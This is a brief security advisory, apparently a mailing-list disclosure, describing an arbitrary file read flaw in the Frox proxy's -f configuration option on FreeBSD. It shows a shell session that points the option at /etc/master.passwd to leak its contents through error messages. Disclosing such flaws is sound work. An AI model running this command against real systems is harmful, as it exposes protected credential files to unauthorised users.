Vulnrability: File aribitary read access

Frox is a transparent proxy/cache system for FreeBSD
with the options to be setuid root or be ran as root.
Frox has a security risk which allows any user to read
protected files on the system. This is because of the
way frox handles the loading of configuration files.
The problem exists in the -f option ( which specifies the configuration file):


q(rotor () r0t0r 0daysecurity com)
mq(/usr/local/sbin)-> frox -f /etc/master.passwd
Unrecognised option 
at line 3 of /etc/master.passwd
Error reading configuration file
lq(rotor () r0t0r 0daysecurity com)
